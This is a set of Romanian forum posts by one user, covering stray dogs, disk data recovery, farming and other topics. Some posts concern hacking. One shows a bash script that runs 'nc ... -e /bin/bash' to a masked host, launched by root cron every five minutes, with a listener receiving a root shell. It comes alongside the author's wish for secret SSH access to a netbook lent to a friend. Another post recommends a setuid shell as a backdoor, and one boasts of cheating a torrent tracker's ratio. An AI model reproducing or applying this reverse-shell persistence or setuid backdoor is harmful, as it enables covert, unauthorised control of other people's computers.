shaggi

Sper ca stiti de ce a fost asa reactia acelor straini. Marea majoritate a oamenilor ce locuiesc in RO, au tendinta de a crede ca daca nu dai cu pumnul si nu omori ceva nu esti bun de nimic, practic, nu esti barbat.Exact de asta acei straini ne privesc ca pe niste maimute, din cauza voastra, cei ce vreti sa eutanasiati niste animale, cam vreo 10000 la numar, si sa creati un genocid. Rusine voua, pentru ca ati facut Romania sa fie vazuta in toata lumea, ca o jungla, plina cu animale iresponsabile care sunt gata oricand sa creeze un genocid.

ai auzit de usb to hdmi sau de usb keyboard? combina astea+ ceva care sa trimita datele prin wifi si cam asta e dispozitivul, si nu e desene animate, singura problema e dimensiunea..

Ba, sa mor eu de nu sunteti plictisiti, tool-ul e ok. Dar ce aveti cu ip-ul meu? Odata pe an intru si eu cu Y!M si atunci primesc d-astea

Deci stai sa inteleg, deci ai un hdd, si dupa ce ai suprascris sectoarele unde se afla fisierul respectiv vrei sa mai recuperezi fisierul? Slabe sanse, urmele suprascrieri sunt niste deregrari magnetice minuscule, care nu pot fi chiar asa de usor de "pus la loc". E ca un fel de hash, dupa ce l-ai facut nu sunt sanse sa urmezi firul evenimentelor si sa scrii ceva care sa creeze exact aceleasi dereglari magnetice. SI pe langa asta dereglarile magnetice sunt afiectate de dereglari magnetice anterioare care exista din cauza suprascrieri sectoarelor inainte ca tu sa ai fisierul "buclucas" pe ele. Deci e de ajuns sa dai secure delete aka shred in linux yoyois: nu compara un hdd cu o foaie, cand suprascrii ceva pe un hdd nu ramane nimic, doar ceea ce ai suprascris. Urmele suprascrieri unui fisier sunt atat de utile pe cat de ok poti ansambra o aspirina dupa ce ai dat cu ciocanul in ea si sa iasa identica, fara sa gresesti locul unui singur atom. L.E.: ceea ce ai zis despre urmele de pe hdd-uri cu discuri si ca informatia este recuperabila, e ca si cum as zice eu ca urmele de uzura de la tranzistori de silicon din stick-uri te pot ajuta sa aflii toate fisierele care au fost vreodata pe stick:))

Linux: command to open URL in default browser - Stack Overflow

Se misca ok? L-a testat careva la performante comparativ cu alt os?

Da, se merita, dar ai grija la soferi care ii pui.. si autorizatia e o problema... ar mai merge un depozit de materiale de constructii cu livrare la domiciliu, prin zonele unde dezvoltarea e ok si unde lumea are un job

Depinde unde ai terenul respectiv, ca poti pune foarte usor 2h de ceapa, si la anul, ai profit bun daca e ingrijita si e de soi bun. Sau pune porumb pe terenul ala si vei avea vreo 2000-3000 profit/hectar/an daca e amplasat intr-o zona buna si nu te zgarcesti la investitii;)

fa-ti un service de reparatii electronice;)

deci spune cam ce specificatii ai vrea sa aiba si eu iti dau niste sugestii referitoare la modelul amplifierului si la boxe

pe client: shaggi@tractor:~$ cat /opt/asd.sh #!/bin/bash nc *.*.*.* 31337 -e /bin/bash & shaggi@tractor:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) */5 * * * * root /opt/asd.sh # shaggi@tractor:~$ pe server: shaggi@gmail:~$ cat `which listen` #!/bin/bash while(true) do nc -v -k -l -p 31337 -vv; done; shaggi@gmail:~$ listen listening on [any] 31337 ... Multumesc tuturor celor ce m-ati ajutat:) and after a while: shaggi@gmail:~$ listen listening on [any] 31337 ... Warning: forward host lookup failed for cacat.rdsnet.ro: Unknown host connect to [ip.server] from cacat.rdsnet.ro [ip.client] 51972 id uid=0(root) gid=0(root) groups=0(root)

tocmai aia e faza, degeaba face listening, ca routerele au NAT, nu aloca ip public & unic pe fiecare pc conectat acum lucram la ceva gen " nc localhost 13370 <file|bash>file "

Deci, am un netbook cu linux. Il voi imprumuta unui prieten pe o anumita perioada, vreau ca atat timp cat el e conectat la wi-fi sau la orice altceva si are o conexiune la internet eu sa am acces ssh. Idei? am si un vps care poate fi folosit daca e nevoie de ceva cu ip static ....

deci voi chiar credeti ca daca ar exista inteligenta artificiala nu ar fi pusa in pericol omenirea? Ganditi-va si voi, atatea filme cu roboti buni ce au devenit rai.. plm

Asta nu o sa se realizeze niciodata, deoarece nu e sigura. Cu cat avansam mai mult cu atat devenim mai nesiguri. Spre exemplu: sa zicem ca ar fi posibil ceea ce se spune in topicul acesta. Eu, gica martotescu, fac un device care sa semene cu aparatul foto, si iti fac o "poza" si in loc sa pun poza pe facebook ma folosesc de parola ta care se afla la vedere. Doar parola e sigura, nu si sistemele de logare, Prostia pe care noi o facem este ca ne aratam parolele lumii intregi folosind amprenta, card de acces, scanarea a globului ocular, si extrem de multe alte cacaturi de genul. Cea mai buna metoda este cand vei folosi parole diferite la fiecare site si aplicatie, si pentru asta ar fi ok un manager de parole cu autentificare in mai multi pasi, precum e lastpass.

cocktail shaker sort e cea mai buna;)

http://i.imgur.com/oRHMpSJ.png In caz ca cineva vrea sa o faca si pentru alte sisteme de operare.

Ratio: 2.48 Uploaded: 1.17 TB Downloaded: 484.66 GB Monday, 29 Jul 2013 nu e fake, ci e pe cat se poate de reala, facuta in cateva luni. Nu ca voi intr-o noapte;) Si app, ca sa stiti, filelist nu are sistem de protectie la ratie, Poti baga 1337 gb/s si ei nu-si vor da seama...

A trecut o luna de la ultima postare, cand se va incheia challange-ul?

nu-si are rostul, merge doar cand e rulat ca root... shaggi@gmail:~$ sudo ./shell # exit shaggi@gmail:~$ ./shell Segmentation fault shaggi@gmail:~$ uname -r -i 2.6.32-042stab078.28 x86_64 shaggi@gmail:~$ LE: e bun pe post de backdoor cu chmod 4555, adica -r-sr-xr-x

shaggi@gmail:~$ gcc cacat.s -c -o cacat shaggi@gmail:~$ ./cacat -bash: ./cacat: Permission denied shaggi@gmail:~$ chmod +x ./cacat shaggi@gmail:~$ ./cacat -bash: ./cacat: cannot execute binary file shaggi@gmail:~$ ce cacat?

ba chiar e zero, deoarece raspunsul nu e acolo, si cum probabilitatea e zero atunci e un paradox, nu am chef sa explic de ce...

Salutare si iti urez bun venit. Nu prea dau pe la categoria asta de obicei, am citit postul tau pentru ca scrii mai corect decat majoritatea celor de aici. Ceea ce m-a facut curios este, cum naiba stii decat jumatate de sql injection? Adica faci query-ul doar jumatate sau scrii "SEL" in loc de "SELECT"? E cam dubioasa treaba oricum, astept un raspuns. Si iti mau urez inca odata: Bine ai venit!